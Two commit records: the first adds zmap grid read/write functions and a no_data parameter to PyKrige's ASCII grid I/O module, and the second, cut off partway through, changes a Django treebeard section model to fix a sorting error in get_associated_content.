<commit_before># coding: utf-8
"""
PyKrige
=======

Code by Benjamin S. Murphy and the PyKrige Developers
bscott.murphy@gmail.com

Summary
-------
Methods for reading/writing ASCII grid files.

Copyright (c) 2015-2020, PyKrige Developers
"""
import numpy as np
import warnings
import io

def write_asc_grid(x, y, z, filename="output.asc", style=1):
    r"""Writes gridded data to ASCII grid file (\*.asc).

    This is useful for exporting data to a GIS program.

    Parameters
    ----------
    x : array_like, shape (N,) or (N, 1)
        X-coordinates of grid points at center of cells.
    y : array_like, shape (M,) or (M, 1)
        Y-coordinates of grid points at center of cells.
    z : array_like, shape (M, N)
        Gridded data values. May be a masked array.
    filename : string, optional
        Name of output \*.asc file. Default name is 'output.asc'.
    style : int, optional
        Determines how to write the \*.asc file header.
        Specifying 1 writes out DX, DY, XLLCENTER, YLLCENTER.
        Specifying 2 writes out CELLSIZE (note DX must be the same as DY),
        XLLCORNER, YLLCORNER. Default is 1.
    """

    if np.ma.is_masked(z):
        z = np.array(z.tolist(-999.0))

    x = np.squeeze(np.array(x))
    y = np.squeeze(np.array(y))
    z = np.squeeze(np.array(z))
    nrows = z.shape[0]
    ncols = z.shape[1]

    if z.ndim != 2:
        raise ValueError("Two-dimensional grid is required to write *.asc grid.")
    if x.ndim > 1 or y.ndim > 1:
        raise ValueError(
            "Dimensions of X and/or Y coordinate arrays are not "
            "as expected. Could not write *.asc grid."
        )
    if z.shape != (y.size, x.size):
        warnings.warn(
            "Grid dimensions are not as expected. "
            "Incorrect *.asc file generation may result.",
            RuntimeWarning,
        )
    if np.amin(x) != x[0] or np.amin(y) != y[0]:
        warnings.warn(
            "Order of X or Y coordinates is not as expected. "
            "Incorrect *.asc file generation may result.",
            RuntimeWarning,
        )

    dx = abs(x[1] - x[0])
    dy = abs(y[1] - y[0])
    if (
        abs((x[-1] - x[0]) / (x.shape[0] - 1)) != dx
        or abs((y[-1] - y[0]) / (y.shape[0] - 1)) != dy
    ):
        raise ValueError(
            "X or Y spacing is not constant; *.asc grid cannot be written."
        )
    cellsize = -1
    if style == 2:
        if dx != dy:
            raise ValueError(
                "X and Y spacing is not the same. "
                "Cannot write *.asc file in the specified format."
            )
        cellsize = dx

    xllcenter = x[0]
    yllcenter = y[0]

    # Note that these values are flagged as -1. If there is a problem in trying
    # to write out style 2, the -1 value will appear in the output file.
    xllcorner = -1
    yllcorner = -1
    if style == 2:
        xllcorner = xllcenter - dx / 2.0
        yllcorner = yllcenter - dy / 2.0

    no_data = -999.0

    with io.open(filename, "w") as f:
        if style == 1:
            f.write("NCOLS          " + "{:<10n}".format(ncols) + "\n")
            f.write("NROWS          " + "{:<10n}".format(nrows) + "\n")
            f.write("XLLCENTER      " + "{:<10.2f}".format(xllcenter) + "\n")
            f.write("YLLCENTER      " + "{:<10.2f}".format(yllcenter) + "\n")
            f.write("DX             " + "{:<10.2f}".format(dx) + "\n")
            f.write("DY             " + "{:<10.2f}".format(dy) + "\n")
            f.write("NODATA_VALUE   " + "{:<10.2f}".format(no_data) + "\n")
        elif style == 2:
            f.write("NCOLS          " + "{:<10n}".format(ncols) + "\n")
            f.write("NROWS          " + "{:<10n}".format(nrows) + "\n")
            f.write("XLLCORNER      " + "{:<10.2f}".format(xllcorner) + "\n")
            f.write("YLLCORNER      " + "{:<10.2f}".format(yllcorner) + "\n")
            f.write("CELLSIZE       " + "{:<10.2f}".format(cellsize) + "\n")
            f.write("NODATA_VALUE   " + "{:<10.2f}".format(no_data) + "\n")
        else:
            raise ValueError("style kwarg must be either 1 or 2.")

        for m in range(z.shape[0] - 1, -1, -1):
            for n in range(z.shape[1]):
                f.write("{:<16.2f}".format(z[m, n]))
            if m != 0:
                f.write("\n")

def read_asc_grid(filename, footer=0):
    r"""Reads ASCII grid file (\*.asc).

    Parameters
    ----------
    filename : str
        Name of \*.asc file.
    footer : int, optional
        Number of lines at bottom of \*.asc file to skip.

    Returns
    -------
    grid_array : numpy array, shape (M, N)
        (M, N) array of grid values, where M is number of Y-coordinates and
        N is number of X-coordinates. The array entry corresponding to
        the lower-left coordinates is at index [M, 0], so that
        the array is oriented as it would be in X-Y space.
    x : numpy array, shape (N,)
        1D array of N X-coordinates.
    y : numpy array, shape (M,)
        1D array of M Y-coordinates.
    CELLSIZE : tuple or float
        Either a two-tuple of (x-cell size, y-cell size),
        or a float that specifies the uniform cell size.
    NODATA : float
        Value that specifies which entries are not actual data.
    """

    ncols = None
    nrows = None
    xllcorner = None
    xllcenter = None
    yllcorner = None
    yllcenter = None
    cellsize = None
    dx = None
    dy = None
    no_data = None
    header_lines = 0
    with io.open(filename, "r") as f:
        while True:
            string, value = f.readline().split()
            header_lines += 1
            if string.lower() == "ncols":
                ncols = int(value)
            elif string.lower() == "nrows":
                nrows = int(value)
            elif string.lower() == "xllcorner":
                xllcorner = float(value)
            elif string.lower() == "xllcenter":
                xllcenter = float(value)
            elif string.lower() == "yllcorner":
                yllcorner = float(value)
            elif string.lower() == "yllcenter":
                yllcenter = float(value)
            elif string.lower() == "cellsize":
                cellsize = float(value)
            elif string.lower() == "cell_size":
                cellsize = float(value)
            elif string.lower() == "dx":
                dx = float(value)
            elif string.lower() == "dy":
                dy = float(value)
            elif string.lower() == "nodata_value":
                no_data = float(value)
            elif string.lower() == "nodatavalue":
                no_data = float(value)
            else:
                raise IOError("could not read *.asc file. Error in header.")

            if (
                (ncols is not None)
                and (nrows is not None)
                and (
                    ((xllcorner is not None) and (yllcorner is not None))
                    or ((xllcenter is not None) and (yllcenter is not None))
                )
                and ((cellsize is not None) or ((dx is not None) and (dy is not None)))
                and (no_data is not None)
            ):
                break

    raw_grid_array = np.genfromtxt(
        filename, skip_header=header_lines, skip_footer=footer
    )
    grid_array = np.flipud(raw_grid_array)

    if nrows != grid_array.shape[0] or ncols != grid_array.shape[1]:
        raise IOError(
            "Error reading *.asc file. Encountered problem "
            "with header: NCOLS and/or NROWS does not match "
            "number of columns/rows in data file body."
        )

    if xllcorner is not None and yllcorner is not None:
        if dx is not None and dy is not None:
            xllcenter = xllcorner + dx / 2.0
            yllcenter = yllcorner + dy / 2.0
        else:
            xllcenter = xllcorner + cellsize / 2.0
            yllcenter = yllcorner + cellsize / 2.0

    if dx is not None and dy is not None:
        x = np.arange(xllcenter, xllcenter + ncols * dx, dx)
        y = np.arange(yllcenter, yllcenter + nrows * dy, dy)
    else:
        x = np.arange(xllcenter, xllcenter + ncols * cellsize, cellsize)
        y = np.arange(yllcenter, yllcenter + nrows * cellsize, cellsize)

    # Sometimes x and y and can be an entry too long due to imprecision
    # in calculating the upper cutoff for np.arange(); this bit takes care of
    # that potential problem.
    if x.size == ncols + 1:
        x = x[:-1]
    if y.size == nrows + 1:
        y = y[:-1]

    if cellsize is None:
        cellsize = (dx, dy)

    return grid_array, x, y, cellsize, no_data
<commit_msg>add zmap io and no_data param in write_asc<commit_after># coding: utf-8
"""
PyKrige
=======

Code by Benjamin S. Murphy and the PyKrige Developers
bscott.murphy@gmail.com

Summary
-------
Methods for reading/writing ASCII grid files.

Copyright (c) 2015-2020, PyKrige Developers
"""
import numpy as np
import warnings
import io
import datetime
import os

def write_asc_grid(x, y, z, filename="output.asc", no_data=-999.0, style=1):
    r"""Writes gridded data to ASCII grid file (\*.asc).

    This is useful for exporting data to a GIS program.

    Parameters
    ----------
    x : array_like, shape (N,) or (N, 1)
        X-coordinates of grid points at center of cells.
    y : array_like, shape (M,) or (M, 1)
        Y-coordinates of grid points at center of cells.
    z : array_like, shape (M, N)
        Gridded data values. May be a masked array.
    filename : string, optional
        Name of output \*.asc file. Default name is 'output.asc'.
    no_data : float, optional
        no data value to be used
    style : int, optional
        Determines how to write the \*.asc file header.
        Specifying 1 writes out DX, DY, XLLCENTER, YLLCENTER.
        Specifying 2 writes out CELLSIZE (note DX must be the same as DY),
        XLLCORNER, YLLCORNER. Default is 1.
    """

    if np.ma.is_masked(z):
        z = np.array(z.tolist(no_data))

    x = np.squeeze(np.array(x))
    y = np.squeeze(np.array(y))
    z = np.squeeze(np.array(z))
    nrows = z.shape[0]
    ncols = z.shape[1]

    if z.ndim != 2:
        raise ValueError("Two-dimensional grid is required to write *.asc grid.")
    if x.ndim > 1 or y.ndim > 1:
        raise ValueError(
            "Dimensions of X and/or Y coordinate arrays are not "
            "as expected. Could not write *.asc grid."
        )
    if z.shape != (y.size, x.size):
        warnings.warn(
            "Grid dimensions are not as expected. "
            "Incorrect *.asc file generation may result.",
            RuntimeWarning,
        )
    if np.amin(x) != x[0] or np.amin(y) != y[0]:
        warnings.warn(
            "Order of X or Y coordinates is not as expected. "
            "Incorrect *.asc file generation may result.",
            RuntimeWarning,
        )

    dx = abs(x[1] - x[0])
    dy = abs(y[1] - y[0])
    if (
            abs((x[-1] - x[0]) / (x.shape[0] - 1)) != dx
            or abs((y[-1] - y[0]) / (y.shape[0] - 1)) != dy
    ):
        raise ValueError(
            "X or Y spacing is not constant; *.asc grid cannot be written."
        )
    cellsize = -1
    if style == 2:
        if dx != dy:
            raise ValueError(
                "X and Y spacing is not the same. "
                "Cannot write *.asc file in the specified format."
            )
        cellsize = dx

    xllcenter = x[0]
    yllcenter = y[0]

    # Note that these values are flagged as -1. If there is a problem in trying
    # to write out style 2, the -1 value will appear in the output file.
    xllcorner = -1
    yllcorner = -1
    if style == 2:
        xllcorner = xllcenter - dx / 2.0
        yllcorner = yllcenter - dy / 2.0

    with io.open(filename, "w") as f:
        if style == 1:
            f.write("NCOLS          " + "{:<10n}".format(ncols) + "\n")
            f.write("NROWS          " + "{:<10n}".format(nrows) + "\n")
            f.write("XLLCENTER      " + "{:<10.2f}".format(xllcenter) + "\n")
            f.write("YLLCENTER      " + "{:<10.2f}".format(yllcenter) + "\n")
            f.write("DX             " + "{:<10.2f}".format(dx) + "\n")
            f.write("DY             " + "{:<10.2f}".format(dy) + "\n")
            f.write("NODATA_VALUE   " + "{:<10.2f}".format(no_data) + "\n")
        elif style == 2:
            f.write("NCOLS          " + "{:<10n}".format(ncols) + "\n")
            f.write("NROWS          " + "{:<10n}".format(nrows) + "\n")
            f.write("XLLCORNER      " + "{:<10.2f}".format(xllcorner) + "\n")
            f.write("YLLCORNER      " + "{:<10.2f}".format(yllcorner) + "\n")
            f.write("CELLSIZE       " + "{:<10.2f}".format(cellsize) + "\n")
            f.write("NODATA_VALUE   " + "{:<10.2f}".format(no_data) + "\n")
        else:
            raise ValueError("style kwarg must be either 1 or 2.")

        for m in range(z.shape[0] - 1, -1, -1):
            for n in range(z.shape[1]):
                f.write("{:<16.2f}".format(z[m, n]))
            if m != 0:
                f.write("\n")

def read_asc_grid(filename, footer=0):
    r"""Reads ASCII grid file (\*.asc).

    Parameters
    ----------
    filename : str
        Name of \*.asc file.
    footer : int, optional
        Number of lines at bottom of \*.asc file to skip.

    Returns
    -------
    grid_array : numpy array, shape (M, N)
        (M, N) array of grid values, where M is number of Y-coordinates and
        N is number of X-coordinates. The array entry corresponding to
        the lower-left coordinates is at index [M, 0], so that
        the array is oriented as it would be in X-Y space.
    x : numpy array, shape (N,)
        1D array of N X-coordinates.
    y : numpy array, shape (M,)
        1D array of M Y-coordinates.
    CELLSIZE : tuple or float
        Either a two-tuple of (x-cell size, y-cell size),
        or a float that specifies the uniform cell size.
    NODATA : float
        Value that specifies which entries are not actual data.
    """

    ncols = None
    nrows = None
    xllcorner = None
    xllcenter = None
    yllcorner = None
    yllcenter = None
    cellsize = None
    dx = None
    dy = None
    no_data = None
    header_lines = 0
    with io.open(filename, "r") as f:
        while True:
            string, value = f.readline().split()
            header_lines += 1
            if string.lower() == "ncols":
                ncols = int(value)
            elif string.lower() == "nrows":
                nrows = int(value)
            elif string.lower() == "xllcorner":
                xllcorner = float(value)
            elif string.lower() == "xllcenter":
                xllcenter = float(value)
            elif string.lower() == "yllcorner":
                yllcorner = float(value)
            elif string.lower() == "yllcenter":
                yllcenter = float(value)
            elif string.lower() == "cellsize":
                cellsize = float(value)
            elif string.lower() == "cell_size":
                cellsize = float(value)
            elif string.lower() == "dx":
                dx = float(value)
            elif string.lower() == "dy":
                dy = float(value)
            elif string.lower() == "nodata_value":
                no_data = float(value)
            elif string.lower() == "nodatavalue":
                no_data = float(value)
            else:
                raise IOError("could not read *.asc file. Error in header.")

            if (
                    (ncols is not None)
                    and (nrows is not None)
                    and (
                    ((xllcorner is not None) and (yllcorner is not None))
                    or ((xllcenter is not None) and (yllcenter is not None))
            )
                    and ((cellsize is not None) or ((dx is not None) and (dy is not None)))
                    and (no_data is not None)
            ):
                break

    raw_grid_array = np.genfromtxt(
        filename, skip_header=header_lines, skip_footer=footer
    )
    grid_array = np.flipud(raw_grid_array)

    if nrows != grid_array.shape[0] or ncols != grid_array.shape[1]:
        raise IOError(
            "Error reading *.asc file. Encountered problem "
            "with header: NCOLS and/or NROWS does not match "
            "number of columns/rows in data file body."
        )

    if xllcorner is not None and yllcorner is not None:
        if dx is not None and dy is not None:
            xllcenter = xllcorner + dx / 2.0
            yllcenter = yllcorner + dy / 2.0
        else:
            xllcenter = xllcorner + cellsize / 2.0
            yllcenter = yllcorner + cellsize / 2.0

    if dx is not None and dy is not None:
        x = np.arange(xllcenter, xllcenter + ncols * dx, dx)
        y = np.arange(yllcenter, yllcenter + nrows * dy, dy)
    else:
        x = np.arange(xllcenter, xllcenter + ncols * cellsize, cellsize)
        y = np.arange(yllcenter, yllcenter + nrows * cellsize, cellsize)

    # Sometimes x and y and can be an entry too long due to imprecision
    # in calculating the upper cutoff for np.arange(); this bit takes care of
    # that potential problem.
    if x.size == ncols + 1:
        x = x[:-1]
    if y.size == nrows + 1:
        y = y[:-1]

    if cellsize is None:
        cellsize = (dx, dy)

    return grid_array, x, y, cellsize, no_data

def write_zmap_grid(x, y, z, filename="output.zmap", no_data=-999.0, coord_sys='<null>'):
    r"""Writes gridded data to ASCII grid file in zmap format (\*.zmap).

    This is useful for exporting data to a GIS program, or Petrel
    https://gdal.org/drivers/raster/zmap.html

    Parameters
    ----------
    x : array_like, shape (N,) or (N, 1)
        X-coordinates of grid points at center of cells.
    y : array_like, shape (M,) or (M, 1)
        Y-coordinates of grid points at center of cells.
    z : array_like, shape (M, N)
        Gridded data values. May be a masked array.
    filename : string, optional
        Name of output \*.zmap file. Default name is 'output.zmap'.
    no_data : float, optional
        no data value to be used
    coord_sys : String, optional
        coordinate sytem description
    """

    nodes_per_line = 5
    field_width = 15

    if np.ma.is_masked(z):
        z = np.array(z.tolist(no_data))

    x = np.squeeze(np.array(x))
    y = np.squeeze(np.array(y))
    z = np.squeeze(np.array(z))
    nx = len(x)
    ny = len(y)

    dx = abs(x[1] - x[0])
    dy = abs(y[1] - y[0])

    xllcenter = x[0]
    yllcenter = y[0]

    hix = xllcenter + (nx - 1) * dx
    hiy = yllcenter + (ny - 1) * dy

    now = datetime.datetime.now()

    with io.open(filename, "w") as f:
        f.write("!" + "\n")
        f.write("!     ZIMS FILE NAME :  " + os.path.basename(filename) + "\n")
        f.write("!     FORMATTED FILE CREATION DATE: " + now.strftime("%d/%m/%Y") + "\n")
        f.write("!     FORMATTED FILE CREATION TIME: " + now.strftime("%H:%M:%S") + "\n")
        f.write("!     COORDINATE REFERENCE SYSTEM: " + coord_sys + "\n")
        f.write("!" + "\n")
        f.write("@Grid HEADER, GRID, " + str(nodes_per_line) + "\n")
        f.write(" " + str(field_width) + ", " + str(no_data) + ",  , 1 , 1" + "\n")
        f.write("   " + str(ny) + ",  " + str(nx) + ",  " + str(xllcenter) + ",  " + str(hix) + ",  " + str(
            yllcenter) + ",  " + str(hiy) + "\n")
        f.write("   " + str(dx) + ",  0.0,  0.0    " + "\n")
        f.write("@" + "\n")

        for n in range(z.shape[1]):
            count = 0
            for m in range(z.shape[0] - 1, -1, -1):
                count += 1
                if np.isnan(z[m, n]):
                    f.write(space_back_to_front(format(no_data, "13.7E") + '  '))
                else:
                    if abs(z[m, n]) >= 1E100:
                        f.write(space_back_to_front(format(z[m, n], "13.7E") + ' '))
                    elif abs(z[m, n]) >= 1E6:
                        f.write(space_back_to_front(format(z[m, n], "13.7E") + '  '))
                    else:
                        f.write(space_back_to_front("{:<13.4f}".format(z[m, n]) + '  '))
                if count % nodes_per_line == 0 or m == 0:
                    f.write("\n")

def read_zmap_grid(filename):
    r"""Reads ASCII grid file in zmap format (\*.zmap).
    https://gdal.org/drivers/raster/zmap.html

    Parameters
    ----------
    filename : str
        Name of \*.zmap file.

    Returns
    -------
    grid_array : numpy array, shape (M, N)
        (M, N) array of grid values, where M is number of Y-coordinates and
        N is number of X-coordinates. The array entry corresponding to
        the lower-left coordinates is at index [M, 0], so that
        the array is oriented as it would be in X-Y space.
    x : numpy array, shape (N,)
        1D array of N X-coordinates.
    y : numpy array, shape (M,)
        1D array of M Y-coordinates.
    CELLSIZE : tuple or float
        Either a two-tuple of (x-cell size, y-cell size),
        or a float that specifies the uniform cell size.
    NODATA : float
        Value that specifies which entries are not actual data.
    COORD_SYS : String
        Coordinate system name
    """

    no_data_value, nx, ny, originx, originy, maxx, maxy, dx, dy = 0, 0, 0, 0, 0, 0, 0, 0, 0
    data_values = np.empty(1)
    coord_sys = '<null>'

    i_header_line, i_value = 0, 0
    with io.open(filename, "r") as f:
        while True:
            line = f.readline()
            if line.startswith('!'):
                line_strings = line.split(":")
                if line_strings[0].__contains__('COORDINATE REFERENCE SYSTEM'):
                    coord_sys = line_strings[1].replace('\n', '')
            else:
                line_strings = line.split()
                line_strings = [string.replace(',', '') for string in line_strings]

            if len(line_strings) == 0:
                break

            if i_header_line == -1 and not line_strings[0].startswith('!'):
                for i_string in range(len(line_strings)):
                    data_values[i_value] = float(line_strings[i_string])
                    i_value += 1

            if line_strings[0].startswith('@'):
                if i_header_line == 0:
                    i_header_line += 1
                else:
                    i_header_line = -1

            if i_header_line > 0:
                if i_header_line == 2:
                    no_data_value = float(line_strings[1])
                elif i_header_line == 3:
                    ny = int(line_strings[0])
                    nx = int(line_strings[1])
                    originx = float(line_strings[2])
                    maxx = float(line_strings[3])
                    originy = float(line_strings[4])
                    maxy = float(line_strings[5])
                    data_values = np.empty(ny * nx)
                i_header_line += 1

    if nx * ny != len(data_values):
        raise IOError(
            "Error reading *.zmap file. Encountered problem "
            "with header: (nx * ny) does not match with the "
            "number items in data file body."
        )

    z = np.empty([ny, nx])
    i_value = 0
    for n in range(z.shape[1]):
        for m in range(z.shape[0] - 1, -1, -1):
            z[m, n] = data_values[i_value]
            i_value += 1

    dx = (maxx - originx) / (nx - 1)
    dy = (maxy - originy) / (ny - 1)

    gridx = np.arange(originx, originx + nx * dx, dx)
    gridy = np.arange(originy, originy + ny * dy, dy)

    cellsize = (dx, dy)

    return z, gridx, gridy, cellsize, no_data_value, coord_sys

def space_back_to_front(string):
    net = string.replace(' ', '')
    return "".join(string.rsplit(net)) + net
<|endoftext|>


<commit_before>from django.contrib.contenttypes.models import ContentType
from django.contrib.contenttypes import generic
from django.db import models
from django.utils.translation import ugettext_lazy as _

from treebeard.mp_tree import MP_Node

import app_settings

Treebeard_Base_Class = app_settings.get_treebeard_node_class()

class BaseSection(Treebeard_Base_Class):
    """
    An abstract model of a section or subsection. This class provides a base
    level of functionality that should serve as scaffold for a custom section
    object.
    """
    title =  models.CharField(_("Title"), max_length=255)
    slug = models.SlugField(_("Slug"),
        help_text=_("Used to construct URL"),
        unique = app_settings.VALIDATE_GLOBALLY_UNIQUE_SLUGS
    )
    order = models.IntegerField(_("Order of section"), blank=True, default=0)

    class Meta:
        abstract = True
        permissions = (
            ('can_view_associated_content', 'Can view associated content',),
        )
        ordering = ['path']

    def __unicode__(self):
        indent_string = "-" * (self.get_depth() - 1)
        return indent_string + self.title

    @property
    def full_path(self):
        section_path = [node.slug for node in self.get_ancestors()]
        section_path.append(self.slug)
        return "/".join(section_path)

    @models.permalink
    def get_absolute_url(self):
        return ("section", (), {'section_path': self.full_path})

    @property
    def type(self):
        """
        A property that returns the string 'section' if the section is at the
        root of the tree, 'subsection' otherwise.
        """
        return self.is_root and 'section' or 'subsection'

    def get_first_populated_field(self, field_name):
        """
        Returns the first non-empty instance of the given field in the
        sections tree. Will crawl from leaf to root, returning `None` if no
        non-empty field is encountered.
        """
        assert hasattr(self, field_name), "Field name does not exist."
        node = self
        if getattr(node, field_name, None):
            return getattr(node, field_name)
        while not node.is_root():
            node = node.get_parent()
            if getattr(node, field_name, None):
                return getattr(node, field_name)
        return None

    def get_related_content(self, sort_fields=[], infer_sort=False):
        """
        A method to access content associated with a section via a foreign-key
        relationship of any type. This includes content that's attached via a
        simple foreign key relationship, and content that's attached via a
        generic foreign key (for example, through a subclass of the
        SectionItem model).

        This method returns a list of tuples::

            (object, app name, model name, relationship_type)

        To sort associated content, pass a list of sort fields in via the
        sort_fields argument. For example, let's say we have two types of
        content we know could be attached to a section: articles and profiles
        Articles should be sorted by their 'headline' field, while profiles
        should be sorted by their 'title' field. We would call our method
        thusly::

            section = Section.objects.all()[0]
            section.get_related_content(sort_fields=['title', 'headline'])

        This will create a common sort key on all assciated objects based on
        the first of these fields that are present on the object, then sort
        the entire set based on that sort key. (NB: This key is temporary and
        is removed from the items before they are returned.)

        If 'infer_sort' is True, this will override the sort_fields options
        and select each content type's sort field based on the first item in
        the 'ordering' property of it's Meta class. Obviously, infer_sort will
        only work if the types of fields that are being compared are the same.

        """
        associated_content = []
        object_ids = []
        if infer_sort:
            sort_fields = set()
        for rel in self._meta.get_all_related_objects():
            for fk_item in getattr(self, rel.get_accessor_name()).all():
                # If this is a generic relation, fetch content object.
                if hasattr(fk_item, 'content_object'):
                    fk_item = fk_item.content_object
                    relationship_type = 'generic-foreign-key'
                else:
                    relationship_type = 'foreign-key'
                # In the weird edge-case where an item is related to a section
                # in more than one way, we only want the item to appear in
                # this list once. Therefore, we ID items by app, model and pk
                # and verify we haven't already seen that ID before adding the
                # item to our list.
                object_id = "%s/%s/%s" % (
                    fk_item._meta.app_label,
                    fk_item._meta.object_name,
                    str(fk_item.pk)
                )
                if object_id not in object_ids:
                    object_ids.insert(0, object_id)
                    associated_content.insert(0,(
                        fk_item,
                        fk_item._meta.app_label,
                        fk_item._meta.object_name,
                        relationship_type
                    ))
                    if infer_sort and len(fk_item._meta.ordering) > 0:
                        sort_fields.add(fk_item._meta.ordering[0])
        if not len(sort_fields) == 0:
            for item, app, model, rel in associated_content:
                for sort_field in sort_fields:
                    if hasattr(item, sort_field):
                        key = getattr(item, sort_field)
                        setattr(item, '_associated_content_tmp_sort_key', key)
                        break

            def sort_content(x, y):
                return cmp(
                    getattr(x[0], '_associated_content_tmp_sort_key', None),
                    getattr(y[0], '_associated_content_tmp_sort_key', None)
                )

            associated_content.sort(sort_content)
            for item in associated_content:
                if hasattr(item, '_associated_content_tmp_sort_key'):
                    delattr(item, '_associated_content_tmp_sort_key')
        return associated_content

    def get_subsections(self):
        """
        This method return all subsections of the current section.
        """
        return self.get_children().select_related()

    def get_associated_content(self, only=[], sort_key=None):
        """
        This method returns an aggregation of all content that's associated
        with a section, including subsections, and other objects related via
        any type of foreign key. To restrict the types of objetcs that are
        returned from foreign-key relationships, the only argument takes a
        list of items with the signature::

            {app name}.{model name}

        For example, if you wanted to retrieve a list of all subsections and
        associated articles only, you could do the following::

            section = Section.objects.all()[0]
            section.get_associated_content(only=['articles.article'])

        Furthermore, if all objects have a commone sort key, you can specify
        that with the sort_key parameter. So, since sections have an 'order'
        field, if articles had that field as well, you could do the following::

            section = Section.objects.all()[0]
            section.get_associated_content(
                only=['articles.article'],
                sort_key='order'
            )

        ...and the list returned would be sorted by the 'order' field.
        """

        related_content = self.get_related_content()
        associated_content = []
        if len(only) != 0:
            for obj, app, model, rel in related_content:
                if "%s.%s" % (app, model) in only:
                        setattr(obj, 'content_type', "%s.%s" % (app, model))
                        associated_content.insert(0, (
                            obj,
                            app,
                            model,
                            rel
                        ))
        else:
            for obj, app, model, rel in related_content:
                setattr(obj, 'content_type', "%s.%s" % (app, model))
                associated_content.insert(0, (
                    obj,
                    app,
                    model,
                    rel
                ))
        for subsection in self.get_subsections():
            app = subsection._meta.app_label
            model = subsection._meta.object_name
            if len(only) == 0 or app + "." + model in only:
                associated_content.insert(0, (
                    subsection,
                    app,
                    model,
                    'subsection'
                ))

        def sort_list(x, y):
            return cmp(getattr(x[0],sort_key),getattr(y[0],sort_key))

        if sort_key:
            associated_content.sort(cmp=sort_list)
        return associated_content

class SectionItem(models.Model):
    """A model of a generic relation between any item and a section"""
    section = models.ForeignKey('Section')
    content_type = models.ForeignKey(ContentType)
    object_id = models.PositiveIntegerField()
    content_object = generic.GenericForeignKey()

    class Meta:
        abstract = True

    def __unicode__(self):
        fk_app = self.content_object._meta.app_label
        fk_model = self.content_object.__class__.__name__
        fk_str = self.content_object.__unicode__()
        return u"%s.%s: %s" % (fk_app, fk_model, fk_str)<commit_msg>Fixes "'model' object has no attribute 'order'" error that occurs in the get_associated_content method when comparing two objects which do not both have a sort key.<commit_after>from django.contrib.contenttypes.models import ContentType
from django.contrib.contenttypes import generic
from django.db import models
from django.utils.translation import ugettext_lazy as _

from treebeard.mp_tree import MP_Node

import app_settings

Treebeard_Base_Class = app_settings.get_treebeard_node_class()

class BaseSection(Treebeard_Base_Class):
    """
    An abstract model of a section or subsection. This class provides a base
    level of functionality that should serve as scaffold for a custom section
    object.
    """
    title =  models.CharField(_("Title"), max_length=255)
    slug = models.SlugField(_("Slug"),
        help_text=_("Used to construct URL"),
        unique = app_settings.VALIDATE_GLOBALLY_UNIQUE_SLUGS
    )
    order = models.IntegerField(_("Order of section"), blank=True, default=0)

    class Meta:
        abstract = True
        permissions = (
            ('can_view_associated_content', 'Can view associated content',),
        )
        ordering = ['path']

    def __unicode__(self):
        indent_string = "-" * (self.get_depth() - 1)
        return indent_string + self.title

    @property
    def full_path(self):
        section_path = [node.slug for node in self.get_ancestors()]
        section_path.append(self.slug)
        return "/".join(section_path)

    @models.permalink
    def get_absolute_url(self):
        return ("section", (), {'section_path': self.full_path})

    @property
    def type(self):
        """
        A property that returns the string 'section' if the section is at the
        root of the tree, 'subsection' otherwise.
        """
        return self.is_root and 'section' or 'subsection'

    def get_first_populated_field(self, field_name):
        """
        Returns the first non-empty instance of the given field in the
        sections tree. Will crawl from leaf to root, returning `None` if no
        non-empty field is encountered.
        """
        assert hasattr(self, field_name), "Field name does not exist."
        node = self
        if getattr(node, field_name, None):
            return getattr(node, field_name)
        while not node.is_root():
            node = node.get_parent()
            if getattr(node, field_name, None):
                return getattr(node, field_name)
        return None

    def get_related_content(self, sort_fields=[], infer_sort=False):
        """
        A method to access content associated with a section via a foreign-key
        relationship of any type. This includes content that's attached via a
        simple foreign key relationship, and content that's attached via a
        generic foreign key (for example, through a subclass of the
        SectionItem model).

        This method returns a list of tuples::

            (object, app name, model name, relationship_type)

        To sort associated content, pass a list of sort fields in via the
        sort_fields argument. For example, let's say we have two types of
        content we know could be attached to a section: articles and profiles
        Articles should be sorted by their 'headline' field, while profiles
        should be sorted by their 'title' field. We would call our method
        thusly::

            section = Section.objects.all()[0]
            section.get_related_content(sort_fields=['title', 'headline'])

        This will create a common sort key on all assciated objects based on
        the first of these fields that are present on the object, then sort
        the entire set based on that sort key. (NB: This key is temporary and
        is removed from the items before they are returned.)

        If 'infer_sort' is True, this will override the sort_fields options
        and select each content type's sort field based on the first item in
        the 'ordering' property of it's Meta class. Obviously, infer_sort will
        only work if the types of fields that are being compared are the same.

        """
        associated_content = []
        object_ids = []
        if infer_sort:
            sort_fields = set()
        for rel in self._meta.get_all_related_objects():
            for fk_item in getattr(self, rel.get_accessor_name()).all():
                # If this is a generic relation, fetch content object.
                if hasattr(fk_item, 'content_object'):
                    fk_item = fk_item.content_object
                    relationship_type = 'generic-foreign-key'
                else:
                    relationship_type = 'foreign-key'
                # In the weird edge-case where an item is related to a section
                # in more than one way, we only want the item to appear in
                # this list once. Therefore, we ID items by app, model and pk
                # and verify we haven't already seen that ID before adding the
                # item to our list.
                object_id = "%s/%s/%s" % (
                    fk_item._meta.app_label,
                    fk_item._meta.object_name,
                    str(fk_item.pk)
                )
                if object_id not in object_ids:
                    object_ids.insert(0, object_id)
                    associated_content.insert(0,(
                        fk_item,
                        fk_item._meta.app_label,
                        fk_item._meta.object_name,
                        relationship_type
                    ))
                    if infer_sort and len(fk_item._meta.ordering) > 0:
                        sort_fields.add(fk_item._meta.ordering[0])
        if not len(sort_fields) == 0:
            for item, app, model, rel in associated_content:
                for sort_field in sort_fields:
                    if hasattr(item, sort_field):
                        key = getattr(item, sort_field)
                        setattr(item, '_associated_content_tmp_sort_key', key)
                        break

            def sort_content(x, y):
                return cmp(
                    getattr(x[0], '_associated_content_tmp_sort_key', None),
                    getattr(y[0], '_associated_content_tmp_sort_key', None)
                )

            associated_content.sort(sort_content)
            for item in associated_content:
                if hasattr(item, '_associated_content_tmp_sort_key'):
                    delattr(item, '_associated_content_tmp_sort_key')
        return associated_content

    def get_subsections(self):
        """
        This method return all subsections of the current section.
        """
        return self.get_children().select_related()

    def get_associated_content(self, only=[], sort_key=None):
        """
        This method returns an aggregation of all content that's associated
        with a section, including subsections, and other objects related via
        any type of foreign key. To restrict the types of objetcs that are
        returned from foreign-key relationships, the only argument takes a
        list of items with the signature::

            {app name}.{model name}

        For example, if you wanted to retrieve a list of all subsections and
        associated articles only, you could do the following::

            section = Section.objects.all()[0]
            section.get_associated_content(only=['articles.article'])

        Furthermore, if all objects have a commone sort key, you can specify
        that with the sort_key parameter. So, since sections have an 'order'
        field, if articles had that field as well, you could do the following::

            section = Section.objects.all()[0]
            section.get_associated_content(
                only=['articles.article'],
                sort_key='order'
            )

        ...and the list returned would be sorted by the 'order' field.
        """

        related_content = self.get_related_content()
        associated_content = []
        if len(only) != 0:
